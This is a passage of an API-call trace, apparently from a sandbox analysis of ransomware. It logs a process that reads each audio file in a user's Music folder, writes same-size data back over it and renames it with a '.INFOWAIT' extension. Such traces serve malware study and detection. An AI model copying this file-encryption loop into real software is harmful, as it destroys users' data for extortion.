returned 1 [0120.221] CloseHandle (hObject=0xad0) returned 1 [0120.222] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fWq7Sf.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fWq7Sf.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fWq7Sf.m4a" [0120.222] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fWq7Sf.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fWq7Sf.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fWq7Sf.m4a.INFOWAIT" [0120.222] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fWq7Sf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fwq7sf.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fWq7Sf.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fwq7sf.m4a.infowait")) returned 1 [0120.223] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.224] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.224] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JfvP6S4i2D.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jfvp6s4i2d.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.225] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfc14 [0120.225] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.225] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.225] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xfc14, lpOverlapped=0x0) returned 1 [0120.229] VirtualAlloc (lpAddress=0x0, dwSize=0xfc14, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.234] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.234] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xfc14, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xfc14, lpOverlapped=0x0) returned 1 [0120.235] CloseHandle (hObject=0xad0) returned 1 [0120.236] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JfvP6S4i2D.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JfvP6S4i2D.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JfvP6S4i2D.m4a" [0120.236] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JfvP6S4i2D.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JfvP6S4i2D.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JfvP6S4i2D.m4a.INFOWAIT" [0120.236] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JfvP6S4i2D.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jfvp6s4i2d.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JfvP6S4i2D.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jfvp6s4i2d.m4a.infowait")) returned 1 [0120.237] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.238] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.238] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nJqpjpjhgkzg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\njqpjpjhgkzg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.239] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15673 [0120.239] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.239] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.239] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x15673, lpOverlapped=0x0) returned 1 [0120.243] VirtualAlloc (lpAddress=0x0, dwSize=0x15673, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.253] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.253] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x15673, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x15673, lpOverlapped=0x0) returned 1 [0120.253] CloseHandle (hObject=0xad0) returned 1 [0120.259] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nJqpjpjhgkzg.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nJqpjpjhgkzg.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nJqpjpjhgkzg.m4a" [0120.259] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nJqpjpjhgkzg.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nJqpjpjhgkzg.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nJqpjpjhgkzg.m4a.INFOWAIT" [0120.259] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nJqpjpjhgkzg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\njqpjpjhgkzg.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nJqpjpjhgkzg.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\njqpjpjhgkzg.m4a.infowait")) returned 1 [0120.259] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.260] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.261] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\5Lx3KHr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\5lx3khr.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.265] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1148e [0120.265] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.266] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.266] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1148e, lpOverlapped=0x0) returned 1 [0120.270] VirtualAlloc (lpAddress=0x0, dwSize=0x1148e, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.276] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.276] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1148e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1148e, lpOverlapped=0x0) returned 1 [0120.276] CloseHandle (hObject=0xad0) returned 1 [0120.282] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\5Lx3KHr.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\5Lx3KHr.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\5Lx3KHr.mp3" [0120.282] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\5Lx3KHr.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\5Lx3KHr.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\5Lx3KHr.mp3.INFOWAIT" [0120.282] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\5Lx3KHr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\5lx3khr.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\5Lx3KHr.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\5lx3khr.mp3.infowait")) returned 1 [0120.283] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.284] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.285] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\pkWtVne.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\pkwtvne.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.285] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x491e [0120.285] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.286] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.286] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x491e, lpOverlapped=0x0) returned 1 [0120.289] VirtualAlloc (lpAddress=0x0, dwSize=0x491e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.291] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.291] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x491e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x491e, lpOverlapped=0x0) returned 1 [0120.292] CloseHandle (hObject=0xad0) returned 1 [0120.294] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\pkWtVne.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\pkWtVne.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\pkWtVne.wav" [0120.294] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\pkWtVne.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\pkWtVne.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\pkWtVne.wav.INFOWAIT" [0120.294] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\pkWtVne.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\pkwtvne.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\pkWtVne.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\pkwtvne.wav.infowait")) returned 1 [0120.295] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.296] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.297] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\tEL2.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\tel2.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.297] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x97a4 [0120.297] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.297] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.297] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x97a4, lpOverlapped=0x0) returned 1 [0120.301] VirtualAlloc (lpAddress=0x0, dwSize=0x97a4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.304] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.305] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x97a4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x97a4, lpOverlapped=0x0) returned 1 [0120.305] CloseHandle (hObject=0xad0) returned 1 [0120.309] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\tEL2.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\tEL2.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\tEL2.wav" [0120.309] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\tEL2.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\tEL2.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\tEL2.wav.INFOWAIT" [0120.309] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\tEL2.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\tel2.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\tEL2.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\tel2.wav.infowait")) returned 1 [0120.309] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.310] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.311] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\U0AZd0ivGrf _Re 2c.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\u0azd0ivgrf _re 2c.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.311] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdd01 [0120.311] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.312] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.312] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xdd01, lpOverlapped=0x0) returned 1 [0120.315] VirtualAlloc (lpAddress=0x0, dwSize=0xdd01, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.320] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.320] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xdd01, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xdd01, lpOverlapped=0x0) returned 1 [0120.321] CloseHandle (hObject=0xad0) returned 1 [0120.326] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\U0AZd0ivGrf _Re 2c.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\U0AZd0ivGrf _Re 2c.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\U0AZd0ivGrf _Re 2c.mp3" [0120.326] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\U0AZd0ivGrf _Re 2c.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\U0AZd0ivGrf _Re 2c.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\U0AZd0ivGrf _Re 2c.mp3.INFOWAIT" [0120.326] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\U0AZd0ivGrf _Re 2c.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\u0azd0ivgrf _re 2c.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\U0AZd0ivGrf _Re 2c.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\u0azd0ivgrf _re 2c.mp3.infowait")) returned 1 [0120.327] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.328] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.329] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\X8qNDeYP35alh231JX16.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\x8qndeyp35alh231jx16.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.330] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4a04 [0120.330] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.330] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.330] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4a04, lpOverlapped=0x0) returned 1 [0120.334] VirtualAlloc (lpAddress=0x0, dwSize=0x4a04, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.336] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.336] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4a04, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4a04, lpOverlapped=0x0) returned 1 [0120.337] CloseHandle (hObject=0xad0) returned 1 [0120.338] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\X8qNDeYP35alh231JX16.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\X8qNDeYP35alh231JX16.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\X8qNDeYP35alh231JX16.mp3" [0120.338] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\X8qNDeYP35alh231JX16.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\X8qNDeYP35alh231JX16.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\X8qNDeYP35alh231JX16.mp3.INFOWAIT" [0120.338] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\X8qNDeYP35alh231JX16.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\x8qndeyp35alh231jx16.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nvyg\\X8qNDeYP35alh231JX16.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvyg\\x8qndeyp35alh231jx16.mp3.infowait")) returned 1 [0120.339] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.340] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.341] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\CZRVI9TRu5syJMCnyOV.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\czrvi9tru5syjmcnyov.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.342] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x182cd [0120.342] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.342] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.342] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x182cd, lpOverlapped=0x0) returned 1 [0120.345] VirtualAlloc (lpAddress=0x0, dwSize=0x182cd, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.354] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.354] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x182cd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x182cd, lpOverlapped=0x0) returned 1 [0120.354] CloseHandle (hObject=0xad0) returned 1 [0120.361] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\CZRVI9TRu5syJMCnyOV.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\CZRVI9TRu5syJMCnyOV.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\CZRVI9TRu5syJMCnyOV.wav" [0120.361] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\CZRVI9TRu5syJMCnyOV.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\CZRVI9TRu5syJMCnyOV.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\CZRVI9TRu5syJMCnyOV.wav.INFOWAIT" [0120.361] MoveFileW 